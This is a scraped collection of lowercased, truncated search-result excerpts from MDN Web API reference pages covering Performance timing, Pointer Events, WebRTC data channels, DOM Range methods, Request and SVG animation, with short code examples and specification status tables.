... user timingthe definition of 'measure()' in that specification.
... recommendation basic definition.
Performance: resourcetimingbufferfull event - Web APIs
function buffer_full(event) { console.log("warning: resource timing buffer is full!"); performance.setresourcetimingbuffersize(200); } function init() { // set a callback if the resource buffer becomes filled performance.onresourcetimingbufferfull = buffer_full; } <body onload="init()"> note that you could also set up the handler using the addeventlistener() function: performance.addeventlistener('resourcetimingbufferfull', buffer_full); specifications specification status comment resource timing level 1the de...
...finition of 'onresourcetimingbufferfull' in that specification.
... candidate recommendation initial definition.
PerformanceEntry.duration - Web APIs
s.length; i++) { // check each method var supported = typeof obj[methods[i]] == "function"; if (supported) { var js = obj[methods[i]](); log("..." + methods[i] + "() = " + json.stringify(js)); } else { log("..." + methods[i] + " = not supported"); } } } specifications specification status comment performance timeline level 2the definition of 'duration' in that specification.
... candidate recommendation performance timelinethe definition of 'duration' in that specification.
... recommendation initial definition.
PerformanceEntry.entryType - Web APIs
begin"); // check the entrytype of all the "begin" entries var entriesnamedbegin = performance.getentriesbyname("begin"); for (var i=0; i < entriesnamedbegin.length; i++) { var typeofentry = entriesnamedbegin[i].entrytype; console.log("entry is type: " + typeofentry); } } specifications specification status comment performance timeline level 2the definition of 'entrytype' in that specification.
... candidate recommendation performance timelinethe definition of 'entrytype' in that specification.
... recommendation initial definition.
PerformanceEntry.name - Web APIs
s.length; i++) { // check each method var supported = typeof obj[methods[i]] == "function"; if (supported) { var js = obj[methods[i]](); log("..." + methods[i] + "() = " + json.stringify(js)); } else { log("..." + methods[i] + " = not supported"); } } } specifications specification status comment performance timeline level 2the definition of 'name' in that specification.
... candidate recommendation performance timelinethe definition of 'name' in that specification.
... recommendation initial definition.
PerformanceEntry.startTime - Web APIs
s.length; i++) { // check each method var supported = typeof obj[methods[i]] == "function"; if (supported) { var js = obj[methods[i]](); log("..." + methods[i] + "() = " + json.stringify(js)); } else { log("..." + methods[i] + " = not supported"); } } } specifications specification status comment performance timeline level 2the definition of 'starttime' in that specification.
... candidate recommendation performance timelinethe definition of 'starttime' in that specification.
... recommendation initial definition.
PerformanceEntry - Web APIs
performance timeline level 2the definition of 'performanceentry' in that specification.
... performance timelinethe definition of 'performanceentry' in that specification.
... recommendation initial definition.
PerformanceEventTiming - Web APIs
0 : infinity; document.addeventlistener('visibilitychange', (event) => { firsthiddentime = math.min(firsthiddentime, event.timestamp); }, {once: true}); // sends the passed data to an analytics endpoint.
...} specifications specification status comment unknownthe definition of '[[member]]' in that specification.
... unknown initial definition.
PerformanceMark - Web APIs
specifications specification status comment user timing level 2the definition of 'performancemark' in that specification.
... working draft user timingthe definition of 'performancemark' in that specification.
... recommendation basic definition.
PerformanceMeasure - Web APIs
specifications specification status comment user timing level 2the definition of 'performancemeasure' in that specification.
... working draft user timingthe definition of 'performancemeasure' in that specification.
... recommendation basic definition.
PerformanceNavigationTiming - Web APIs
this interface also extends following performanceresourcetiming properties for navigation performance entry types by qualifying and constraining them as follows: performanceresourcetiming.initiatortyperead only returns "navigation".
... specifications specification status comment navigation timing level 2the definition of 'performancenavigationtiming' in that specification.
... working draft initial definition.
PerformanceObserver.observe() - Web APIs
syntax observer.observe(options); parameters options a performanceobserverinit dictionary with the following possible members: entrytypes: an array of domstring objects, each specifying one performance entry type to observe.
...length; i++) { // process "mark" and "frame" events } }); observer.observe({entrytypes: ["mark", "frame"]}); function perf_observer(list, observer) { // process the "measure" event } var observer2 = new performanceobserver(perf_observer); observer2.observe({entrytypes: ["measure"]}); specifications specification status comment performance timeline level 2the definition of 'observe()' in that specification.
... candidate recommendation initial definition of observe() method.
PointerEvent.PointerEvent() - Web APIs
syntax event = new pointerevent(type, pointereventinit); arguments type is a domstring representing the name of the event (see pointerevent event types).
... pointereventinitoptional is a pointereventinit dictionary, having the following fields: pointerid — optional and defaulting to 0, of type long, that sets the value of the instance's pointerevent.pointerid.
... note: the pointereventinit dictionary also accepts fields from the mouseevent, uieventinit and eventinit dictionaries.
PointerEvent.height - Web APIs
specifications specification status comment pointer events – level 2the definition of 'height' in that specification.
... pointer eventsthe definition of 'height' in that specification.
... obsolete initial definition.
PointerEvent.isPrimary - Web APIs
target.addeventlistener('pointerdown', function(event) { if (event.isprimary) process_primary_pointer(event); else process_secondary_pointer(event); }, false); specifications specification status comment pointer events – level 2the definition of 'isprimary' in that specification.
... pointer eventsthe definition of 'isprimary' in that specification.
... obsolete initial definition.
PointerEvent.pointerId - Web APIs
let id; // let's assume that this is a previously saved pointerid target.addeventlistener('pointerdown', function(event) { // compare previous event's id that was cached // to current event's id and handle accordingly if (id === event.pointerid) process_event(event); }, false); specifications specification status comment pointer events – level 2the definition of 'pointerid' in that specification.
... pointer eventsthe definition of 'pointerid' in that specification.
... obsolete initial definition.
PointerEvent.pressure - Web APIs
nt.addeventlistener('pointerdown', function(event) { if (event.pressure == 0) { // no pressure process_no_pressure(event); } else if (event.pressure == 1) { // maximum pressure process_max_pressure(event); } else { // default process_pressure(event); } }, false); specifications specification status comment pointer events – level 2the definition of 'pressure' in that specification.
... pointer eventsthe definition of 'pressure' in that specification.
... obsolete initial definition.
PointerEvent.tiltX - Web APIs
someelement.addeventlistener("pointerdown", function(event) { process_tilt(event.tiltx, event.tilty); }, false); specifications specification status comment pointer events – level 2the definition of 'tiltx' in that specification.
... pointer eventsthe definition of 'tiltx' in that specification.
... obsolete initial definition.
PointerEvent.tiltY - Web APIs
someelement.addeventlistener("pointerdown", function(event) { process_tilt(event.tiltx, event.tilty); }, false); specifications specification status comment pointer events – level 2the definition of 'tilty' in that specification.
... pointer eventsthe definition of 'tilty' in that specification.
... obsolete initial definition.
PointerEvent.width - Web APIs
target.addeventlistener("pointerdown", function(ev) { // calculate the contact area var area = ev.width * ev.height; }, false); specifications specification status comment pointer events – level 2the definition of 'width' in that specification.
... pointer eventsthe definition of 'width' in that specification.
... obsolete initial definition.
Pointer Lock API - Web APIs
we set initial x and y positions on the canvas: var x = 50; var y = 50; the pointer lock methods are currently prefixed, so next we'll fork them for the different browser implementations.
... canvas.requestpointerlock = canvas.requestpointerlock || canvas.mozrequestpointerlock; document.exitpointerlock = document.exitpointerlock || document.mozexitpointerlock; now we set up an event listener to run the requestpointerlock() method on the canvas when it is clicked, which initiates pointer lock.
... specifications specification status comment pointer lock candidate recommendation initial specification.
PositionOptions.maximumAge - Web APIs
if set to infinity the device must return a cached position regardless of its age.
... syntax positionoptions.maximumage = timelength specifications specification status comment geolocation apithe definition of 'positionoptions.maximumage' in that specification.
... recommendation initial definition ...
PositionOptions.timeout - Web APIs
the default value is infinity, meaning that getcurrentposition() won't return until the position is available.
... syntax positionoptions.timeout = timelength specifications specification status comment geolocation apithe definition of 'positionoptions.timeout' in that specification.
... recommendation initial definition ...
PublicKeyCredential.id - Web APIs
ewcredentialinfo.id; // do something with the id // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'id' in that specification.
... credential management level 1the definition of 'id' in that specification.
... working draft initial definition.
RTCDTMFToneChangeEvent.RTCDTMFToneChangeEvent() - Web APIs
options a dictionary of type rtcdtmftonechangeeventinit, which may contain one or more of the following fields: tone a domstring containing a single dtmf tone character which has just begun to play, or an empty string ("") to indicate that the previous tone has stopped playing.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtmftonechangeevent()' in that specification.
... candidate recommendation initial definition.
RTCDTMFToneChangeEvent - Web APIs
it takes two parameters, the first being a domstring representing the type of the event (always "tonechange"); the second a dictionary containing the initial state of the properties of the event.
... dtmfsender.addeventlistener("change", function(event) { if (event.tone !== "") { dialstringbox.innertext += event.tone; } else { senddtmfbutton.disabled = false; } }, false); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtmftonechangeevent' in that specification.
... candidate recommendation initial definition.
RTCDataChannel.close() - Web APIs
either peer is permitted to call this method to initiate closure of the channel.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.close()' in that specification.
... candidate recommendation initial specification.
RTCDataChannel: error event - Web APIs
identifier", "missing mandatory parameter", "stale cookie error", "sender is out of resource (i.e., memory)", "unable to resolve address", "unrecognized sctp chunk type received", "invalid mandatory parameter", "unrecognized parameters", "no user data (sctp data chunk has no data)", "cookie received while shutting down", "restart of an association with new addresses", "user-initiated abort", "protocol violation" ]; dc.addeventlistener("error", ev => { const err = ev.error; console.error("webrtc error: ", err.message); // handle specific error detail types switch(err.errordetail) { case "sdp-syntax-error": console.error(" sdp syntax error in line ", err.sdplinenumber); break; case "idp-load-failure": console.error(" identity p...
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'error event' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.ordered - Web APIs
this is set when the rtcdatachannel is created, by setting the ordered property on the rtcdatachannelinit object passed as rtcpeerconnection.createdatachannel()'s options parameter.
... example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); if (!dc.ordered) { // handle unordered messaging } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.ordered' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.send() - Web APIs
this can be done any time except during the initial process of creating the underlying transport channel.
... var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("backchannel"); function sendmessage(msg) { let obj = { "message": msg, "timestamp": new date() } dc.send(json.stringify(obj)); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.send()' in that specification.
... candidate recommendation initial specification.
RTCDataChannel - Web APIs
either peer is permitted to call this method to initiate closure of the channel.send()the send() method of the rtcdatachannel interface sends data across the data channel to the remote peer.
...ction(); var dc = pc.createdatachannel("my channel"); dc.onmessage = function (event) { console.log("received: " + event.data); }; dc.onopen = function () { console.log("datachannel open"); }; dc.onclose = function () { console.log("datachannel close"); }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel' in that specification.
... candidate recommendation initial specification.
RTCDtlsTransport.state - Web APIs
its value is one of the following: new the initial state when dtls has not started negotiating yet.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtlstransport.state' in that specification.
... candidate recommendation initial definition.
RTCDtlsTransport - Web APIs
if your code accesses rtcrtpsenders and/or rtcrtpreceivers directly, you may encounter situations where they're initially separate, then half or more of them get closed and the senders and receivers updated to refer to the appropriate remaining rtcdtlstransport objects.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtlstransport' in that specification.
... candidate recommendation initial definition.
RTCError - Web APIs
WebAPIRTCError
constructor rtcerror() creates and returns a new rtcerror object initialized with the properties of the provided rtcerrorinit dictionary and, optionally, a string to use as the value of the error's message property.
...you can also use the rtcdatachannel object's onerror event handler property, like this: datachannel.onerror = (event) => { let error = event.error; /* and so forth */ }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcerror' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate.sdpMLineIndex - Web APIs
this value is specified when creating the rtcicecandidate by setting the corresponding sdpmlineindex value in the rtcicecandidateinit object when creating a new candidate with new rtcicecandidate().
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.sdpmlineindex' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate.sdpMid - Web APIs
if you call the constructor with an m-line string instead of an rtcicecandidateinit object, the value of sdpmid is extracted from the specified candidate m-line string.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.sdpmid' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate.usernameFragment - Web APIs
this value is specified when creating the rtcicecandidate by setting the corresponding usernamefragment value in the rtcicecandidateinit object when creating a new candidate with new rtcicecandidate().
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.usernamefragment' in that specification.
... candidate recommendation initial definition.
RTCIceCandidatePairStats.currentRoundTripTime - Web APIs
this information may come from ongoing stun connectivity checks as well as from consent requests made when the connection was initially being opened.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.currentroundtriptime' in that specification.
... candidate recommendation initial specification.
RTCIceTransport - Web APIs
the value of state can be used to determine whether the ice agent has made an initial connection using a viable candidate pair ("connected"), made its final selection of candidate pairs ("completed"), or in an error state ("failed"), among other states.
... examples tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport' in that specification.
... candidate recommendation initial definition.
RTCNetworkType - Web APIs
note: keep in mind that the specified value only reflects the initial connection between the local peer and the next hop along the network toward reaching the remote peer.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcnetworktype' in that specification.
... candidate recommendation initial definition.
RTCPeerConnection.addIceCandidate() - Web APIs
syntax apromise = pc.addicecandidate(candidate); addicecandidate(candidate, successcallback, failurecallback); parameters candidate optional an object conforming to the rtcicecandidateinit dictionary, or an rtcicecandidate object; the contents of the object should be constructed from a message received over the signaling channel, describing a newly received ice candidate that's ready to be delivered to the local ice agent.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.addicecandidate()' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.createAnswer() - Web APIs
return value a promise whose fulfillment handler is called with an object conforming to the rtcsessiondescriptioninit dictionary which contains the sdp answer to be delivered to the other peer.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'createanswer()' in that specification.
... candidate recommendation initial definition.
RTCPeerConnection.getIdentityAssertion() - Web APIs
the rtcpeerconnection.getidentityassertion() method initiates the gathering of an identity assertion.
... specifications specification status comment identity for webrtcthe definition of 'rtcpeerconnection.getidentityassertion()' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.restartIce() - Web APIs
usage notes after calling restartice(), the next offer created using createoffer() will initiate ice restart once sent to the remote peer over your signaling mechanism.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.restartice()' in that specification.
... candidate recommendation initial definition.
RTCPeerConnection.setConfiguration() - Web APIs
in this situation, one might call setconfiguration() to switch to new regional ice servers, then initiate an ice restart.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'setconfiguration()' in that specification.
... candidate recommendation initial definition.
RTCPeerConnectionIceErrorEvent - Web APIs
constructor rtcpeerconnectioniceerrorevent() creates and returns a new rtcpeerconnectioniceerrorevent object, with its type and other properties initialized as specified in the parameters.
... examples tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnectioniceerrorevent' in that specification.
... candidate recommendation initial definition.
RTCRtpContributingSource.rtpTimestamp - Web APIs
syntax let rtptimestamp = rtcrtpcontributingsource.rtptimestamp value an integer value specifiying a source-generated timestamp indicating the time at which the media in this packet, scheduled for play out at the time indicated by timestamp, was initially sampled or generated.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtptimestamp' in that specification.
... candidate recommendation initial definition.
RTCSctpTransport.state - Web APIs
its value is one of the following: connecting the initial state when the connection is being estabilished.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsctptransport.state' in that specification.
... candidate recommendation initial definition.
RTCSessionDescriptionCallback - Web APIs
syntax rtcsessiondescriptioncallback(description); parameters description an rtcsessiondescriptioninit (or rtcsessiondescription) object describing the session being offered or being accepted.
... example var pc = new rtcpeerconnection(); var descriptioncallback = function(offer) { pc.setlocaldescription(offer); } pc.createoffer(descriptioncallback); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsessiondescriptioncallback' in that specification.
... candidate recommendation initial definition.
RTCStatsIceCandidatePairState - Web APIs
in-progress a check has been initiated for this pair, but the check's transaction is still in progress.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcstatsicecandidatepairstate' in that specification.
... candidate recommendation initial specification.
RTCTrackEvent() - Web APIs
syntax trackevent = new rtctrackevent(eventinfo); parameters eventinfo an object based on the rtctrackeventinit dictionary, providing information about the track which has been added to the rtcpeerconnection.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackevent()' in that specification.
... candidate recommendation initial specification.
RTCTrackEvent - Web APIs
constructor rtctrackevent() creates and returns a new rtctrackevent object, initialized with properties taken from the specified rtctrackeventinit dictionary.
... peerconnection.addeventlistener("track", e => { let videoelement = document.getelementbyid("videobox"); videoelement.srcobject = e.streams[0]; }, false); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackevent' in that specification.
... candidate recommendation initial specification.
Range.cloneContents() - Web APIs
syntax documentfragment = range.clonecontents(); example range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); documentfragment = range.clonecontents(); document.body.appendchild(documentfragment); specifications specification status comment domthe definition of 'range.clonecontents()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.clonecontents()' in that specification.
... obsolete initial specification.
Range.cloneRange() - Web APIs
WebAPIRangecloneRange
syntax clone = range.clonerange(); example range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); clone = range.clonerange(); specifications specification status comment domthe definition of 'range.clonerange()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.clonerange()' in that specification.
... obsolete initial specification.
Range.collapse() - Web APIs
WebAPIRangecollapse
example var range = document.createrange(); referencenode = document.getelementsbytagname("div").item(0); range.selectnode(referencenode); range.collapse(true); specifications specification status comment domthe definition of 'range.collapse()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.collapse()' in that specification.
... obsolete initial specification.
Range.collapsed - Web APIs
WebAPIRangecollapsed
syntax iscollapsed = range.collapsed; example let range = document.createrange(); range.setstart(startnode, startoffset); range.setend(endnode, endoffset); iscollapsed = range.collapsed; specifications specification status comment domthe definition of 'range.collapsed' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.collapsed' in that specification.
... obsolete initial specification.
Range.commonAncestorContainer - Web APIs
const range = selection.getrangeat(i); playanimation(range.commonancestorcontainer); } } }); function playanimation(el) { if (el.nodetype === node.text_node) { el = el.parentnode; } el.classlist.remove('highlight'); settimeout(() => { el.classlist.add('highlight'); }, 0); } result specifications specification status comment domthe definition of 'range.commonancestorcontainer' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.commonancestorcontainer' in that specification.
... obsolete initial specification.
Range.compareBoundaryPoints() - Web APIs
example var range, sourcerange, compare; range = document.createrange(); range.selectnode(document.getelementsbytagname("div")[0]); sourcerange = document.createrange(); sourcerange.selectnode(document.getelementsbytagname("div")[1]); compare = range.compareboundarypoints(range.start_to_end, sourcerange); specifications specification status comment domthe definition of 'range.compareboundarypoints()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.compareboundarypoints()' in that specification.
... obsolete initial specification.
Range.deleteContents() - Web APIs
syntax range.deletecontents() example range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); range.deletecontents(); specifications specification status comment domthe definition of 'range.deletecontents()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.deletecontents()' in that specification.
... obsolete initial specification.
Range.detach() - Web APIs
WebAPIRangedetach
syntax range.detach(); example var range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); range.detach(); specifications specification status comment domthe definition of 'range.detach()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.detach()' in that specification.
... obsolete initial specification.
Range.endContainer - Web APIs
syntax endrangenode = range.endcontainer; example var range = document.createrange(); range.setstart(startnode,startoffset); range.setend(endnode,endoffset); endrangenode = range.endcontainer; specifications specification status comment domthe definition of 'range.endcontainer' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.endcontainer' in that specification.
... obsolete initial specification.
Range.endOffset - Web APIs
WebAPIRangeendOffset
syntax endrangeoffset = range.endoffset; example var range = document.createrange(); range.setstart(startnode,startoffset); range.setend(endnode,endoffset); endrangeoffset = range.endoffset; specifications specification status comment domthe definition of 'range.endoffset' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.endoffset' in that specification.
... obsolete initial specification.
Range.extractContents() - Web APIs
agment = range.extractcontents(); list2.appendchild(documentfragment); } else if (range.commonancestorcontainer === list2 || range.commonancestorcontainer.parentnode === list2) { const documentfragment = range.extractcontents(); list1.appendchild(documentfragment); } } }); result specifications specification status comment domthe definition of 'range.extractcontents()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.extractcontents()' in that specification.
... obsolete initial specification.
Range.insertNode() - Web APIs
WebAPIRangeinsertNode
example range = document.createrange(); newnode = document.createelement("p"); newnode.appendchild(document.createtextnode("new node inserted here")); range.selectnode(document.getelementsbytagname("div").item(0)); range.insertnode(newnode); specifications specification status comment domthe definition of 'range.insertnode()' in that specification.
... living standard no change document object model (dom) level 2 traversal and range specificationthe definition of 'range.insertnode()' in that specification.
... obsolete initial definition ...
Range.selectNode() - Web APIs
WebAPIRangeselectNode
example let range = document.createrange(); let referencenode = document.getelementsbytagname('div').item(0); range.selectnode(referencenode); specifications specification status comment domthe definition of 'range.selectnode()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.selectnode()' in that specification.
... obsolete initial specification.
Range.selectNodeContents() - Web APIs
= window.getselection(); selection.removeallranges(); // select paragraph const range = document.createrange(); range.selectnodecontents(p); selection.addrange(range); }); deselectbutton.addeventlistener('click', e => { const selection = window.getselection(); selection.removeallranges(); }); result specifications specification status comment domthe definition of 'range.selectnodecontents()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.selectnodecontents()' in that specification.
... obsolete initial specification.
Range.setEnd() - Web APIs
WebAPIRangesetEnd
specifications specification status comment domthe definition of 'range.setend()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.setend()' in that specification.
... obsolete initial specification.
Range.setEndAfter() - Web APIs
WebAPIRangesetEndAfter
example var range = document.createrange(); var referencenode = document.getelementsbytagname('div').item(0); range.setendafter(referencenode); specifications specification status comment domthe definition of 'range.setendafter()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.setendafter()' in that specification.
... obsolete initial specification.
Range.setEndBefore() - Web APIs
example var range = document.createrange(); var referencenode = document.getelementsbytagname("div").item(0); range.setendbefore(referencenode); specifications specification status comment domthe definition of 'range.setendbefore()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.setendbefore()' in that specification.
... obsolete initial specification.
Range.setStart() - Web APIs
WebAPIRangesetStart
javascript const element = document.getelementbyid('content'); const textnode = element.childnodes[0]; const range = document.createrange(); range.setstart(textnode, 0); // start at first character range.setend(textnode, 5); // end at fifth character document.getelementbyid('log').textcontent = range; result specifications specification status comment domthe definition of 'range.setstart()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.setstart()' in that specification.
... obsolete initial specification.
Range.setStartAfter() - Web APIs
example var range = document.createrange(); var referencenode = document.getelementsbytagname("div").item(0); range.setstartafter(referencenode); specifications specification status comment domthe definition of 'range.setstartafter()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.setstartafter()' in that specification.
... obsolete initial specification.
Range.setStartBefore() - Web APIs
example var range = document.createrange(); var referencenode = document.getelementsbytagname("div").item(0); range.setstartbefore(referencenode); specifications specification status comment domthe definition of 'range.setstartbefore()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.setstartbefore()' in that specification.
... obsolete initial specification.
Range.startContainer - Web APIs
syntax startrangenode = range.startcontainer; example range = document.createrange(); range.setstart(startnode,startoffset); range.setend(endnode,endoffset); startrangenode = range.startcontainer; specifications specification status comment domthe definition of 'range.endcontainer' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.startcontainer' in that specification.
... obsolete initial specification.
Range.startOffset - Web APIs
WebAPIRangestartOffset
syntax startrangeoffset = range.startoffset; example var range = document.createrange(); range.setstart(startnode,startoffset); range.setend(endnode,endoffset); var startrangeoffset = range.startoffset; specifications specification status comment domthe definition of 'range.startoffset' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.startoffset' in that specification.
... obsolete initial specification.
Range.surroundContents() - Web APIs
example html <span class="header-text">put this in a headline</span> javascript const range = document.createrange(); const newparent = document.createelement('h1'); range.selectnode(document.queryselector('.header-text')); range.surroundcontents(newparent); result specifications specification status comment domthe definition of 'range.surroundcontents()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.surroundcontents()' in that specification.
... obsolete initial specification.
Range.toString() - Web APIs
WebAPIRangetoString
look at the output below.</p> <p id="log"></p> javascript const range = document.createrange(); range.setstartbefore(document.getelementsbytagname('b').item(0), 0); range.setendafter(document.getelementsbytagname('b').item(1), 0); document.getelementbyid('log').textcontent = range.tostring(); result specifications specification status comment domthe definition of 'range.tostring()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.tostring()' in that specification.
... obsolete initial specification.
RenderingContext - Web APIs
the primary use of this type is the definition of the <canvas> element's htmlcanvaselement.getcontext() method, which returns a renderingcontext (meaning it returns any one of the rendering context types).
... specifications specification status comment html living standardthe definition of 'renderingcontext' in that specification.
... living standard initial definition.
Request.headers - Web APIs
WebAPIRequestheaders
mple in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request headers in a variable: var myrequest = new request('flowers.jpg'); var myheaders = myrequest.headers; // headers {} to add a header to the headers object we use headers.append; we then create a new request along with a 2nd init parameter, passing headers in as an init option: var myheaders = new headers(); myheaders.append('content-type', 'image/jpeg'); var myinit = { method: 'get', headers: myheaders, mode: 'cors', cache: 'default' }; var myrequest = new request('flowers.jpg', myinit); mycontenttype = myrequest.headers.get('content-type'); // returns 'image/jpeg' specifications specification s...
...tatus comment fetchthe definition of 'headers' in that specification.
... living standard initial definition ...
Request - Web APIs
WebAPIRequest
od; const credentials = request.credentials; you could then fetch this request by passing the request object in as a parameter to a windoworworkerglobalscope.fetch() call, for example: fetch(request) .then(response => response.blob()) .then(blob => { image.src = url.createobjecturl(blob); }); in the following snippet, we create a new request using the request() constructor with some initial data and body content for an api request which need a body payload: const request = new request('https://example.com', {method: 'post', body: '{"foo": "bar"}'}); const url = request.url; const method = request.method; const credentials = request.credentials; const bodyused = request.bodyused; note: the body type can only be a blob, buffersource, formdata, urlsearchparams, usvstring or rea...
... }).catch(error => { console.error(error); }); specifications specification status comment fetchthe definition of 'request' in that specification.
... living standard initial definition ...
ResizeObserver() - Web APIs
observer a reference to the resizeobserver itself, so it will definitely be accessible from inside the callback, should you need it.
... pelem.style.fontsize = math.max(1, entry.contentboxsize.inlinesize/600) + 'rem'; } else { h1elem.style.fontsize = math.max(1.5, entry.contentrect.width/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentrect.width/600) + 'rem'; } } }); resizeobserver.observe(divelem); specifications specification status comment resize observerthe definition of 'resizeobserver' in that specification.
... editor's draft initial definition.
Using the Resource Timing API - Web APIs
the interface also includes other properties that provide data about the size of the fetched resource as well as the type of resource that initiated the fetch.
...the following code example sets a onresourcetimingbufferfull event callback in the init() function.
... function buffer_full(event) { console.log("warning: resource timing buffer is full!"); set_resource_timing_buffer_size(200); } function init() { // load some image to trigger "resource" fetch events var image1 = new image(); image1.src = "https://developer.mozilla.org/static/img/opengraph-logo.png"; var image2 = new image(); image2.src = "http://mozorg.cdn.mozilla.net/media/img/firefox/firefox-256.e2c1fc556816.jpg" // set a callback if the resource buffer becomes filled performance.onresourcetimingbufferfull = buffer_full; } coping with cors when cors is in effect, many of the timing properties' values are returned as zero unless the server's access policy permits these values to be shared.
SVGAngle - Web APIs
WebAPISVGAngle
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgelement' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgelement' in that specification.
... recommendation initial definition ...
SVGAnimateElement - Web APIs
specifications specification status comment svg animations level 2the definition of 'svganimateelement' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svganimateelement' in that specification.
... recommendation initial definition ...
SVGAnimateMotionElement - Web APIs
specifications specification status comment svg animations level 2the definition of 'svganimatemotionelement' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svganimatemotionelement' in that specification.
... recommendation initial definition ...
SVGAnimateTransformElement - Web APIs
specifications specification status comment svg animations level 2the definition of 'svganimatetransformelement' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svganimatetransformelement' in that specification.
... recommendation initial definition ...
SVGAnimationElement: beginEvent event - Web APIs
cancelable no interface timeevent event handler property onbegin examples animated circle <svg xmlns="http://www.w3.org/2000/svg" width="300px" height="100px"> <title>svg smil animate with path</title> <circle cx="0" cy="50" r="50" fill="blue" stroke="black" stroke-width="1"> <animatemotion path="m 0 0 h 300 z" dur="5s" repeatcount="indefinite" /> </circle> </svg> <hr> <ul> </ul> ul { height: 100px; border: 1px solid #ddd; overflow-y: scroll; padding: 10px 30px; } let svgelem = document.queryselector('svg'); let animateelem = document.queryselector('animatemotion'); let list = document.queryselector('ul'); animateelem.addeventlistener('beginevent', () => { let listitem = document.createelement('li'); listitem.text...
...etail; } listitem.textcontent = msg; list.appendchild(listitem); }) event handler property equivalent note that you can also create an event listener for the begin event using the onbegin event handler property: animateelem.onbegin = () => { console.log('beginevent fired'); } specifications specification status comment scalable vector graphics (svg) 2the definition of 'beginevent' in that specification.
... candidate recommendation initial definition ...
SVGAnimationElement: endEvent event - Web APIs
